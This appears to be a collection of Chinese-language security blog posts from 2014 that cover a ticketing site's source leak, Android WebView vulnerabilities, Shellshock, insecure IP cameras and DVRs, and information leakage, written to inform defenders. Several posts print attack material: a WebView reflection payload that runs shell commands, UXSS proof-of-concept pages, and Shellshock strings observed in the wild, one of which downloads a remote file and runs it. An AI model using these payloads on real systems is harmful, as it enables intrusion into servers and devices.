很明顯的,寬宏售票洩漏密碼的狀況是工程師的小疏漏。在不知道資料庫確切位置的前提下,知道疑似資料庫密碼的東西確實也無法做什麼,頂多就是了解了一家公司制定密碼的策略。然而,看在駭客眼裡,這點疏失會代表著一個網站面對資安的態度。連顯而易見的問題都沒有注意,那後端程式應該也有可能出現漏洞。一旦駭客決定要攻擊這個網站,勢必會搬出比平常還要多的資源去嘗試,因為他們認為這個投資報酬率很高。

一般駭客基本上會不斷的從所看到的網頁資訊來調整自己攻擊的強度,如果他們不斷看到了奇怪的登入畫面:

寬宏售票登入頁面1

或是防火牆的登入畫面

寬宏售票登入頁面2

就很有可能會增加攻擊的力道。上面這種登入頁面就是就是一種常見的資訊洩漏,在今年台灣駭客年會的議程-「被遺忘的資訊洩漏」就提及了這類資訊洩漏在台灣是很普及的。注意,出現這樣的頁面並不意味著網站會有漏洞,只是網站容易因此多受到一些攻擊。反之,如果一個網站前端頁面寫的乾淨漂亮,甚至連 HTTP 安全 header 這種小細節都會注意到,駭客可能就會認為這個網站寫的很嚴謹,甚至連嘗試的慾望都沒有了。

一個經驗豐富的駭客,通常光看首頁就能夠判斷該網站是否可能存有漏洞,憑藉的就是這些蛛絲馬跡。為了不讓自家網站常被路過的惡意使用者攻擊,加強網頁前端的呈現、網頁原始碼乾淨有架構、沒有太多資訊洩漏,這些都是很好的防禦方法。

結論

在使用最近熱門的寬宏售票網站時,我們發現網頁原始碼存在一些疑似密碼的資訊。從這件事情出發,我們分別延伸探討了兩個工程師應該注意的議題:

  • 第一個議題提醒大家在開發的時候,重要的資訊千萬不要透過客戶端瀏覽器幫忙轉送,記住客戶端都是不可信的,多經一手就多一分風險。文中舉出了台灣電商網站在金流串接時也常出現這樣的問題,可能會造成訂單金額被竄改等企業會有所損失的問題。
  • 第二個議題從駭客的心理來談資安,一個網站如果沒有什麼保護機制、輕易的洩漏網站資訊,非常容易挑起駭客想要嘗試入侵的慾望;反之,若一個網站從前端到使用流程都非常注意細節,一般駭客較會興致缺缺。嚴謹的前端呈現,就某種程度來說,也是一種對自身網站的保護。

希望開發者看到上面這兩個議題有掌握到『別相信客戶端』、『駭客會因網站前端寫法不嚴謹而嘗試去攻擊』的重點,提昇自家網站的安全度吧!

最後說個題外話,身為一個工程師,我認為資訊系統該帶給世界的好處是節省大家的時間,而這次搶票卻讓無數人徹夜排隊或守在電腦前不斷的『連不上、買票、失敗』循環。這也許能夠賺到大量的新聞版面,最終票也能全部賣光,但想到台灣有數十萬小時的生產力浪費在無意義的等待上,就覺得這個系統好失敗。現在的技術已經可以負荷這樣大規模的售票,KKTIX 甚至可以一分鐘處理 10 萬張劃位票券!世界在進步,過去的技術也許就該讓它留在過去。有人說:『真正幸福的人:不是搶到票,是可以像江蕙一樣選擇人生』,希望我也可以變成一個幸福的人,可以選擇一個不塞車的售票系統。

Android WebView 為你的使用者打開了漏洞之門你知道嗎?

12 October 2014 at 16:00

為了解決在應用程式中顯示網頁的需求,開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上,開發者通常也會把 WebView 處理 JavaScript 的功能打開,好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時,背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。

相關漏洞

1. 遠端代碼執行 (Remote Code Execution)

風險:木馬跳板,個資被盜

目前有機會發生 RCE 風險都圍繞在 addJavascriptInterface 這個功能上,該功能原意是為被載入的網頁和原生程式間建立一個”橋樑”,通過預先設定好的介面,讓網頁能呼叫指定的公開函式並取得函式回傳的結果。

class JsObject {
    public String toString() { return "Hello World"; }
}

webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadUrl("http://www.example.com/");
<html>
    <head><script>
       alert(injectedObject.toString()); // return "Hello World"
    </script>
    </head>
    <body></body>
</html>

像上面的例子裡,網頁能通過預先設定好的 “injectedObject” 介面,呼叫 “toString” 函式,得到 “Hello World” 這個字串。

其漏洞 CVE-2012-6636 最早在2012年12月被公佈出來,攻擊者有機會利用他通過 Java Reflection API 來執行任意代碼。影響 Android 1.X ~ 4.1。

<script>
    function execute(cmdArgs) {
        return injectedObject.getClass().forName("java.lang.Runtime")
                              .getMethod("getRuntime",null)
                              .invoke(null,null).exec(cmdArgs);
    }
    execute(["/system/bin/sh","-c","cat vuln >> attacker.txt"]);
</script>

其後 Google 在 Android 4.2 開始對 addJavascriptInterface 的使用方式加了限制,使用時需要在 Java 端把可被網頁執行的公開函式透過 @JavascriptInterface 來標註。並奉勸開發者別在 4.1 或之前的系統上使用 addJavascriptInterface

可是是否開發者只要在受影響的系統上不主動使用 addJavascriptInterface 就能解決問題呢?答案是否定的。

在 Android 3.X ~ 4.1 上,WebView 預設會用 addJavascriptInterface 添加一個叫 “searchBoxJavaBridge_” 的介面。開發者如果沒有注意的話就會同樣會讓使用者陷入風險中。很巧合地,從 Android 3.0 開始 Google 加入了 removeJavascriptInterface 函式讓開發者可以移定指定的介面。所以開發者可以使用該函式在受影響的系統上把 “searchBoxJavaBridge_” 移除。

除了 “searchBoxJavaBridge_” 外,還有兩個介面會在特定情況下被加到 WebView 中。若使用者有在手機上 [系統設定] 裡的 [協助工具],打開 [服務] 子分類中的任何一個項目,系統就會對其後建立的 WebView 自動加上 “accessibility” 和 “accessibilityTraversal”這兩個介面。這行為在 Android 4.4 由於舊版 WebView 被取代而消失了。

Android 協助工具服務

防範

作為開發者

  • 如非需要,關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料
  • 在有風險的系統中停用 addJavascriptInterface
  • 在有風險的系統中使用 removeJavascriptInterface 移除系統自帶的介面

作為使用者

  • 如非需要,關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.2 或以上不受影響的系統
  • 勿在受影響的系統上使用機敏服務或儲存機敏資料

Android 不明的來源

2. 繞過同源策略 (Same-Origin Policy bypass)

風險:個資被盜

為防止網頁在載入外部資源時引發安全問題,瀏覽器會實作同源策略以限制程式碼和不同網域資源間的互動。

其中 CVE-2014-6041 漏洞,通過程式在處理 \u0000 (unicode null byte) 時的失誤而繞過了原有的限制。

<html>
    <head>
        <title>CVE-2014-6041 UXSS DEMO</title>
    </head>
    <body>
        <iframe name="target_frame" src="http://devco.re/"></iframe>
        <br />
        <input type="button" value="go" onclick="window.open('\u0000javascript:alert(document.domain)',
'target_frame')" />
    </body>
</html>

如果上面的網頁是放置在與 http://devco.re/ 不同源的地方,正常來說點擊按鈕後會因為 SOP 的關係,該段 JavaScript 無法執行而不會有反應。但在受影響的環境裡則能順利執行並跳出 “devco.re” 這個網域名稱。

上述問題被發現後沒多久,再由相同研究員發現一個早在多年前已經被修正的 WebKit 臭蟲仍然出現在 Android 4.3 及之前的版本上。

<script>
window.onload = function()
{
    object = document.createElement("object");
    object.setAttribute("data", "http://www.bing.com");
    document.body.appendChild(object);
    object.onload = function() {
      object.setAttribute("data", "javascript:alert(document.domain)");
        object.innerHTML = "foobar";
    }
}
</script>

上述的跨來源操作同樣違反了 SOP,應當被拒絕執行。但他卻能在有風險的 WebView 上被執行,造成風險。

防範

作為開發者

  • 如非需要,關閉 JavaScript 功能 (預設關閉)
  • 可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料

作為使用者

  • 如非需要,關閉 [不明的來源] 選項 (預設關閉)
  • 使用 Android 4.4 或以上不受影響的系統

結語

談到這裡大家可能會有個疑問,如果應用程式中所載入的遠端網頁網址都是固定,受開發者控制的,應該就會安全沒有風險。還記得在 被忽略的 SSL 處理 裡提及過的中間人攻擊嗎?如果連線過程是採用明文的 HTTP ,或是加密的 HTTPS 但沒落實做好憑證檢查,內容就有機會被攻擊者竊取修改,再結合上面提到的漏洞,對使用者帶來的影響則大大增加。

下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞,模擬使用者手機被入侵的影片:

從影片的最後可以看到,攻擊者取得存在漏洞的應用程式權限,並取得裡面的機敏資料。

而在繞過同源策略問題上,無論是透過 null byte 或是設定屬性來達到,其實都是屬於存在已久的手法,多年前在別的平台、瀏覽器上就已經發生過,除了編寫上的疏忽外,缺乏一個完整的測試流程去做檢查相信也是其中一個原因。

Android 的生態系統問題,使得大多數的使用者手機未能跟得上系統更新的步驟,讓他們即使知道自己所使用系統存在問題也愛莫能助。

作為開發商,應需要在系統支援度與其相應存在的安全風險中取得平衡,來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者,應為已被公開的漏洞做好應對措施,避免使用者暴露在風險當中。

參考

Shellshock (Bash CVE-2014-6271) 威脅仍在擴大中,但無需過度恐慌

29 September 2014 at 16:00

自 9/24 以來,不少資訊圈朋友日以繼夜的忙碌,這都多虧了藏在 Bash 裡 22 年的安全漏洞-Shellshock (Bash CVE-2014-6271)。對於惡意攻擊者而言,這是今年來第二波淘金潮,相較於上次 Heartbleed 駭客們的刮刮樂遊戲需要拼運氣,這次的 Shellshock 只要一發現利用點,就能馬上擁有基本的系統操作權限,也難怪 NVD 給予 Shellshock 最嚴重的 10.0 分影響等級。

Shellshock 受影響的 Bash 版本如下:

  • Bash 4.3 Patch 25 (含)以前版本
  • Bash 4.2 Patch 48 (含)以前版本
  • Bash 4.1 Patch 12 (含)以前版本
  • Bash 4.0 Patch 39 (含)以前版本
  • Bash 3.2 Patch 52 (含)以前版本
  • Bash 3.1 Patch 18 (含)以前版本
  • Bash 3.0 Patch 17 (含)以前版本
  • Bash 2.0.5b Patch 8 (含)以前版本
  • Bash 1.14.7 (含)以前版本

這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼,並且順利將這些環境變數傳入 bash,bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考這篇。Shellshock 之所以嚴重,一來是因為攻擊語法相當簡單,只需要一行指令,就可以直接對系統進行操作;二來是因為 bash 使用範圍極廣,多款作業系統預設 shell 就是 bash。 常見的作業系統與其預設 shell 整理如下:

作業系統 預設 shell
CentOS bash
Fedora bash
RHEL bash
Mac OS X bash
Android 早期是 ash, 3.0 開始是 mksh
Debian sh (Lenny, 5.0)
dash (Squeeze, 6.0)
embedded device 大部分使用 busybox (ash)
FreeBSD tcsh
Ubuntu dash
iOS Jailbreak 後是 bash


我們看到近半數知名的 un*x 系統預設使用 bash,可以推想這次影響範圍有多廣,尤其是許多服務都架構在這之上,若遭受到攻擊,損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統,也並不意味著完全沒有風險,例如 Ubuntu 在 DHCP 客戶端使用到 bash ,就仍然會有風險,下面文章中也會提到這樣的狀況。另外,早期新聞中常出現物聯網設備會受此漏洞影響的報導,經過我們實測,物聯網設備為求精簡,大多使用 busybox,而其 shell 為 ash,故大多數設備在這次 Shellshock 威脅中影響不大,不過儘管物聯網設備逃過了這次 Shellshock 事件,有許多設備仍然是赤裸裸的。

常見的 Shellshock 利用方式

Shellshock 漏洞被公布後,惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊,一些遠端攻擊概念也陸續被證實。最早的公開大量掃描是由 Errata Security 在其部落格公布技術細節,他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 () { :; }; ping -c 3 209.126.230.74,並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中,若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash,就會受到惡意語法的影響,執行 ping -c 3 209.126.230.74 指令。

攻擊使用 CGI 的網頁伺服器

利用同樣的道理,惡意攻擊者開始在 HTTP 表頭中置入惡意的語法,大量去掃描網路上的 CGI 網頁,因為這種網頁常呼叫系統指令,所以成功機率都頗高,攻擊成功的結果如下圖,從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。

攻擊使用 CGI 的網頁伺服器

詳細的實作流程請參考下面影片:

我們團隊也在 CGI 環境下執行幾種程式語言進行測試,發現用到以下 function 時會讀取到環境變數(date 只是範例,可代換為其他系統指令),因此若伺服器在 CGI 環境下使用這些 function,會為伺服器本身帶來嚴重風險。

Language Vulnerable Function
Perl exec(“date > /dev/null”);
open(SHELLSHOCK, “| date > /dev/null”);
system(“date > /dev/null;”);
print `date > /dev/null`
PHP exec(‘date’);
system(‘date’);
mb_send_mail();
Python os.system(‘date’)
subprocess.call(‘date’, shell=True)
subprocess.Popen(‘date’, shell=True)
Ruby `date`
exec ‘date’
system ‘date’


建置惡意 DHCP 伺服器感染連線使用者

同時,有另一批人發現某些作業系統在進行 DHCP 連線時,會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是,若建置一個惡意 DHCP 伺服器,對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者,在使用者建立連線的當下放置後門,實驗過程如下影片:


我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響,基本上,常見的 un*x 系統開機後自動連線基本上都會中招。

OS Version Vulnerable
CentOS 7.0 YES
Debian 7.6 YES
Fedora 20 YES
Ubuntu 10.04.1 LTS YES
Ubuntu 14.04.1 LTS YES
Android 4.4.4 NO
Apple iOS 7.0.4 NO
FreeBSD 10.0 NO
Gentoo 20140925 NO (已修復)
Linux Mint 17 “Qiana” Cinnamon NO 1
Linux Mint Debian 201403 Cinnamon NO 1
Mac OS X 10.9.5 NO
openSUSE 13.2 NO 2
Synology 5.0-4493 update 7 NO (已修復)


繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 也常被利用來繞過伺服器的 shell 限制,最常見的就是 Git 和 Subversion 伺服器: 通常這些伺服器允許透過 SSH 連線,但登入後都對應著受限制的 shell。透過此漏洞,可以繞過 shell 的限制,執行指令如下圖。(註:OS 中 git user 預設 shell 要為 bash 才會受到影響)

繞過 Git/Subversion 伺服器的 shell 限制

一般我們要實作特定使用者登入 ssh 只能做特定的事情,常常會在 sshd_config 設定 ForceCommand,或是在 authorized_keys 設定 command= 如下:

command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t...

這次會受到 Shellshock 影響,就是因為這些設定會在使用者透過 ssh 登入時,呼叫 bash 執行,當環境變數被引入,惡意的程式碼就會被執行了。

Shellshock 威脅仍在擴大

目前不管是白帽駭客或是黑帽駭客都還在持續尋找可以利用 Shellshock 的地方,如同前面所述,找到可以寫入環境變數的地方,並且順利傳入 bash 執行,就可以利用該弱點來執行更進一步的攻擊。

從 Shellshock 爆發至今,陸陸續續傳出了很多公司的產品受到此弱點影響,整理在此,也有一些 POC 整理在這裡。 其中不乏出現一些常用知名套件如:OpenVPN、Pure-FTPd,而且持續更新中。

現在針對 HTTP 伺服器的攻擊還是佔多數,截至目前為止我們仍持續發現網路上有各種掃描樣本,例如:

  • () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a
  • () { :;}; /bin/bash -c "wget -P /var/tmp 174.143.2XX.XX/…/x ; perl /var/tmp/x"
  • () { :;};echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF$(echo vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF)vOLniO4dcLqW2I3MnIVpSfk8bmzyxXaIF

除了這些陸續針對 HTTP 伺服器的案例,我們認為,一些公司購入的網路設備是 Shellshock 潛在高危險群,那些買來就擺在旁邊維運的設備,一來容易被忽略,二來是其更新不易,三來這些設備常使用到 bash,因此仍是現在惡意攻擊者專注研究的目標,請大家特別小心。

結論:無需過度恐慌,但別掉以輕心

「只要有 bash 的系統全部都是受駭範圍!」

不少朋友看到最近 Shellshock 的新聞報導,都十分緊張。儘管各位所使用的 bash 是含有漏洞的版本,但要成功執行攻擊手法需要許多條件,被攻擊者從遠端攻擊的機率偏低,因此大家不需要太過恐慌,只要注意以下設備或伺服器:

  • 特定 Linux 版本,並且使用 DHCP 連線
  • 網路、資安設備
  • 使用 CGI 的網站伺服器
  • 已經公布含有弱點的套件

那我們該怎麼自保呢?在攻擊手法不斷精進之下,只過濾 CVE-2014-6271 的攻擊字串並沒有辦法完全阻擋攻擊。建議可以先將伺服器的 bash 升級至最新版本,並持續關注後續更新訊息(目前持續有繞過檢查的新 CVE 弱點發佈),使用 CGI 之伺服器搭配 iptables、IDS、Mod Security 等機制偵測攻擊特徵並將其阻擋。若有設備在這次的影響範圍,也記得向原廠索取更新程式。

題外話

有人說:「Linux 在 2014 年接連出包,真是一個不安全的作業系統!反觀 Windows 在這幾次都毫無影響,企業應該要全面改用 Microsoft Solution!」,但這真的是正確的想法嗎?其實一個 OpenSource 的系統、軟體,可以藉由社群的力量檢視原始碼的問題,集合眾人的力量讓系統變得更加安全。因此有被揭露出漏洞,對於一個系統來說是好事。而非 OpenSource 的系統,就只能仰賴原廠自己的資安團隊進行研究,或者是外部資安人員的發掘了。選擇作業系統的原則,最好依照系統的功能需求、產品定位、安全漏洞的修補速度等層面,才能夠選用真正符合自己需要的系統。

註解

  1. 若手動執行 dhclient,則會遭到漏洞影響。  2

  2. 系統環境變數會受到影響,但無法被攻擊者利用。 

網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎?

23 September 2014 at 16:00

網路攝影機的普及率在近幾年來持續攀升,除了老人與幼兒居家照護、企業室內監控等需求迅速增加之外,結合手機應用程式讓人可隨時隨地觀看影像的方便性也成為普及的原因。當大家還以為黑帽駭客的目標仍然是網站、個人電腦時,已經有許多攻擊者悄悄地將目標轉向了各種物連網設備,例如 NAS、Wireless AP、Printer 等產品,而擁有眾多用戶的網路攝影機理所當然地也是目標之一。身為安控產品,卻造成一項資安的隱憂,是不是有點諷刺呢?

恰好最近幾天忽然看到有新聞報導「家用監視器遭駭客入侵 隱私全被看光光」這樣子的案例,而在去年也有類似的報導「數十萬支監控攝影機潛藏被駭漏洞 電影情景恐真實上演」,讓我們不禁想對這個事件做個深入的調查。就讓我們來看看網路攝影機以及相關產品究竟有哪些風險吧!

CVE

我們先來看看幾個大廠在 2013 年到 2014 年之間有哪些已經被公開揭露的 CVE 弱點:

  • AVTECH: 3, CVE-2013-4980, CVE-2013-4981, CVE-2013-4982
  • AXIS: 2, CVE-2013-3543, CVE-2011-5261
  • Hikvision: 3, CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
  • SONY: 1, CVE-2013-3539
  • Vivotek: 6, CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598, CVE-2013-4985

讀者們若進一步去看各個 CVE 的詳細資料,會發現有許多弱點都是屬於可執行任意指令的嚴重漏洞,其影響程度非常高,已不只是關於攝影內容是否被竊取,更有可能被利用此類設備進一步攻擊其他內、外網機器。

台灣現況

雖然上面提到許多知名廠牌的嚴重漏洞,但是每個國家使用的安控設備不見得都是上述幾個牌子,而身為資安業者,隨時關注自己國家的網路現況也是很合理的事情~在我們的大量觀測下,發現有許多 IP Camera、DVR (Digital Video Recoder)NVR (Network Video Recoder) 都存在資安議題,我們從其中提出幾個有趣的案例跟各位分享一下:

  • 某國外 V 牌廠商 (數量:320+)

    一般的產品通常都會有預設帳號密碼,但這間廠商的產品似乎沒有預設帳號密碼,若使用者未設定帳號密碼,攻擊者只要直接點「OK」按鈕就可以登入系統,而這樣子的 DVR 在台灣有三百多台,也就是有三百多台 DVR 在網路上裸奔…網路攝影機、DVR、NVR 案例 1

  • 某國外 H 牌廠商 (數量:1200+)

    有些廠商為了方便維修或者其他理由,會在 NVR 上開啟了 Telnet 服務,雖然增加了被攻擊的機率,但是若密碼強度足夠且沒有外流,也不會隨便被打進去。而這間廠商非常有趣,除了 root 帳號之外還有一組 guest 帳號,並且 guest 的密碼非常簡單,加上當初建置系統時並未檢查機敏檔案的權限是否設定錯誤,導致攻擊者可先用 guest 帳號登入,再去 /etc/shadow 讀取 root 密碼加以破解,進一步取得設備所有權限。網路攝影機、DVR、NVR 案例 2

  • 某國外 D 牌廠商 (數量:700+)

    這個案例實在是令人哭笑不得,不知道是原廠還是台灣代理商非常好心地幫使用者建立了多組預設帳號,包含 admin、666666、888888 等等,而且密碼也設定得很簡單。但是通常要使用者記得改一組預設密碼已經非常困難,更何況是要使用者改三組密碼呢?這種情形導致攻擊者可以輕而易舉地拿著弱密碼到處猜,大大提高了用戶的受害機率。而更有趣的是,不知道是基於歷史包袱或者其他原因,此設備開了特殊的 port,直接送出含有特定內容的封包到這個 port 就可以執行相對應的指令,例如可以取得帳號密碼、使用者 email 等等,而在這個過程中完全沒有任何認證機制!等於又有七百多台 NVR 在網路上裸奔…網路攝影機、DVR、NVR 案例 3

  • 某國內 A 牌廠商 (數量:1000+)

    這間廠商也是使用常見的預設帳號密碼,但它可怕的地方還不止於此。該系統將帳號密碼轉為 Base64 編碼後直接當作 cookie 內容,因此若預設帳號密碼分別是 abc 與 123,將 abc:123 用 Base64 編碼過後可得到 YWJjOjEyMw==,接著將 Cookie: SSID=YWJjOjEyMw== 這串內容加到 request 的 HTTP header 中,就可以到處測試該設備是否使用預設帳號密碼,甚至還可以進一步下載備份檔,察看使用者有無填寫 email、網路帳號密碼等資料。網路攝影機、DVR、NVR 案例 4

  • 某國內 A 牌廠商(數量:10+)

    這個案例雖然數量非常少,但是卻非常嚴重。為什麼呢?因為廠商沒有對機敏資料做嚴格的權限控管,只要攻擊者直接在網址列輸入 http://IP/sys.bin,就可以直接下載一個名為 sys.bin 的檔案,而此檔案是 tgz 格式,解壓縮後可以得到 system_server.conf,該檔案中含有帳號、密碼,因此即便使用者修改了預設帳號密碼,也會因為這個嚴重漏洞而輕易地被入侵。網路攝影機、DVR、NVR 案例 5

  • XXXX科技 (數量:230+)

    這是一個非常經典的案例!一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面,再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司,理當為客戶的監控畫面做最周全的規劃、最謹慎的防護,但是結果呢?報告各位,完全沒有任何防護!只要連到 IP 位址就可以直接看到攝影機畫面,也是屬於裸奔一族…

從這幾個案例我們可以發現台灣目前至少有 3500 台左右的安控設備處於高風險狀態中,而由於我們無暇對每一款設備進行調查,因此這僅僅是一個概略的調查結果。同時這些設備都是在網路上可直接連線的,若再加上各個公家機關、辦公大樓、社區的內網安控設備,恐怕會有更驚人的發現。

問題起源

究竟為什麼會有這麼多安控設備被入侵呢?其實主要有兩個面向。第一個是由於許多廠商的防範觀念仍停留在舊時代,不了解駭客到底都怎麼攻擊,因此也不了解確切的防治方法。舉例來說,廠商在網路安控系統的 Web 輸入介面都會設定許多阻擋規則,以防範入侵者輸入惡意攻擊指令,但是這些防治手段都僅僅做在 client 端(用 JavaScript 來防護),入侵者只要利用 proxy 工具或自行寫程式發送客製化 request 就可以繞過那些驗證,若廠商沒有在 server 端再次進行驗證輸入資料是否異常,就有很高的機會被入侵成功。

另一方面則是入侵者的攻擊手法千變萬化,難以保證不會有新的 0-Day 弱點出現。例如今年一月份大量爆發的 NTP 弱點 CVE-2013-5211 就存在於上述六個案例其中之一,我想廠商應該不會有意願針對舊產品修復此類漏洞,也就是未來隨時有幾百台的攝影機可被惡意人士用來執行 DDoS 攻擊。另外今年四月份的 OpenSSL Heartbleed 弱點更是一個具有代表性的重要案例,我想這應該是許多安控設備廠商都會使用的程式。當廠商將此類程式納入網路安控設備中,於弱點被揭露時若無法及時有效修補,或是修補的成本太高導致用戶不願意修補、沒有能力修補,就有可能釀成重大災情,不但造成用戶損失,也嚴重影響商譽。

廠商該如何因應?

針對此類資安問題,大型硬體廠商應該落實以下幾個動作:

  • 改善資安問題更新流程:將產品的資安更新改變成主動通知使用者,而非需要使用者主動到官網看才知道更新,以縮短使用者更新的平均週期,確保使用者的軟體是最新無風險版本。
  • 成立專門資安小組:請專人負責檢驗產品的資安品質與修正資安弱點,以便因應臨時爆發的重大弱點,維持產品的資安品質。
  • 黑箱滲透測試:於產品出廠前執行黑箱滲透測試,讓滲透測試專家從黑帽駭客的角度來檢查產品有無漏洞。
  • 白箱原始碼檢測:定期執行原始碼檢測,從產品的根本處著手改善,降低產品上市後才被發現弱點的機率。
  • 資安教育訓練:請有實際攻防經驗的資安專家給予開發人員正確的資安觀念,了解最新的攻擊手法與有效防禦之道。
  • 定期檢閱產品所使用的第三方軟體套件是否有弱點,例如 OpenSSL,以避免把有問題的版本納入產品,造成產品間接產生弱點,因而遭到入侵。
  • 定時於網路上收集產品的相關弱點資料,例如 SecuniaSecurityFocusPacket Storm 等網站都是很好的資訊來源。

一般使用者、企業該如何亡羊補牢?

目前的網路安控系統使用者仍未有足夠的資安意識,主要現象有以下幾點:

  • 使用弱密碼
  • 未進行適當的權限劃分與管理
  • 容易開啓攻擊者寄送的惡意連結,導致被 XSS、CSRF 等手法攻擊
  • 未限制連入 IP 位址,導致安控系統可從外網任意存取

然而,無論是安控系統或其他任何連網設備,未來都有可能成為潛在的攻擊目標,而且在廠商提供更新檔之前其實也很難確實地自保,因此了解資安知識與常見的攻擊手法是有其必要的。基本的防範之道如下:

  • 使用強密碼,包含大小寫英文、數字、特殊符號,並且定期更換密碼
  • 勿在系統建立太多不必要的使用者帳號、將多餘的帳號移除,以降低帳號被盜的機率。若需要建立多組帳號,請仔細給予適當的權限
  • 勿隨意開啟可疑信件附帶的連結或檔案,以避免被攻擊者以 XSS、CSRF 等手法攻擊
  • 限制可存取資訊系統的 IP 位址,避免資訊系統成為公開的攻擊目標
  • 定期檢查 log,確認有無異常登入、異常操作甚至是異常帳號等資訊

結論

在物連網的時代中,各種可進行無線通訊的設備被攻擊的事件屢見不鮮,例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器,2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器,甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來,這些資安問題只會更多,身為民眾、企業、廠商的你,準備好面對萬物皆可駭的物連網時代了嗎?

被遺忘的資訊洩漏-重點回顧

25 August 2014 at 16:00

前言

在今年駭客年會企業場,我們分享了一場『被遺忘的資訊洩漏』。資訊洩漏是十幾年前就被一提再提的議題,在資訊安全領域中也是最最最基本該注意的事情,然而至今很多網站都還是忽略它,甚至連一些熱門網站都仍有資訊洩漏問題。議程中我們舉了大量的例子證明資訊洩漏其實可以很嚴重,希望能幫大家複習一下,如果網站沒有注意這些,會造成什麼樣的後果。議程投影片如下所示,就讓我們來總結一下吧!


DEVCORE 常利用的資訊洩漏

首先我們從過往滲透測試經驗中挑選了幾個常見的資訊洩漏問題,分別如下:

  • 管理介面洩漏 (p8-p19)
  • 目錄(Index of)洩漏 (p20-p28)
  • 錯誤訊息洩漏 (p29-p35)
  • 暫存、測試資訊 (p36-p46)
  • 版本控管 (p47-p55)
  • DNS 資訊洩漏 (p56-p63)

以上種種不同洩漏方式,可能會洩漏出系統環境資訊、程式碼內容、含有帳號密碼的設定檔等。透過這些資訊,駭客就能組織出一個有效的攻擊行動。我們甚至在過往的經驗中,只透過目標的資訊洩漏,就直接取得資料庫操作權限(詳見投影片 p65-p71)。

為了解目前一些熱門網站是否重視這些最基本的保護,我們實際對 alexa 台灣前 525 名的網站進行資訊洩漏的調查。

phpmyadmin 頁面洩漏狀況 phpinfo 頁面洩漏狀況

在管理介面和測試頁面洩漏的項目,我們用很保守的方式測試根目錄下是否存有 phpmyadmin 和 phpinfo 頁面,結果分別有 7% 和 9% 的網站有這樣的問題。這樣的結果非常令人訝異,畢竟受測網站都是知名且有技術力的網站,而且並非所有網站都使用 php 開發,再加上我們只是測試預設的命名,實際洩漏的情況會更多!

版本控制洩漏狀況

另一個值得一提的是版本控管洩漏問題,我們同樣保守的只針對版本控管軟體中 GIT 和 SVN 兩項進行調查。結果竟然有 10% 的網站有這樣的問題。這個現象非常嚴重!這個現象非常嚴重!這個現象非常嚴重!這個洩漏有機會能還原整個服務的原始碼,被攻擊成功的機率相當高!台灣熱門的網站裡,十個裡面就有一個存有這樣的問題,非常危險,煩請看到這篇文章的朋友能去注意貴公司的網站是否存在這樣的問題。

大數據資料蒐集

在這場議程中,我們還提到了另一個層次的資訊洩漏議題:當全世界主機的服務及版本資訊全部都被收集起來,會發生什麼樣的事情?

駭客擁有這樣的資料,就能夠在非常短暫的時間內篩選出有問題的主機,進行大量的入侵。我們利用類似的技術針對台灣主機快速的進行掃描,就發現了台灣有 61414 台主機可以被利用來做 DNS Amplification DDoS 攻擊、1003 台主機可以被利用來做 NTP Amplification DDoS 攻擊。也就是說,駭客可以在短時間內組織一支六萬多人的台灣大軍,可以針對他想要攻擊的目標進行攻擊。

OpenSSL Heartbleed 尚未修復的狀況

利用相同的技術,我們也順便檢驗了前陣子非常熱門的 OpenSSL Heartbleed 問題。OpenSSL Heartbleed 被稱之為『近十年網路最嚴重的安全漏洞』,其嚴重程度可以想見,然而根據我們的觀察,台灣至今仍有 1480 台 HTTP 伺服器尚未修復,而台灣前 525 大熱門網站中,也有 21 個(4%)網站未修復。足見台灣網站對於資安的意識仍然不夠。

對於這樣海量收集資料衍生的資安議題,我們認為最大的受害者,是物聯網的使用者!就我們的觀察,物聯網的設備通常安全防護不佳,容易遭受到駭客攻擊,前陣子 HP 也出了一份報告指出,物聯網的設備有七成存在弱點,而且每台設備平均有 25 個弱點。除此之外,物聯網的設備不易更新,少有人會定期更新,更導致物聯網設備可以被大範圍的攻擊,進而滲透家用網路,危害使用者居家隱私。這是個未來需要持續關注的重要議題。

仍暴露在 SynoLocker 風險狀況統計

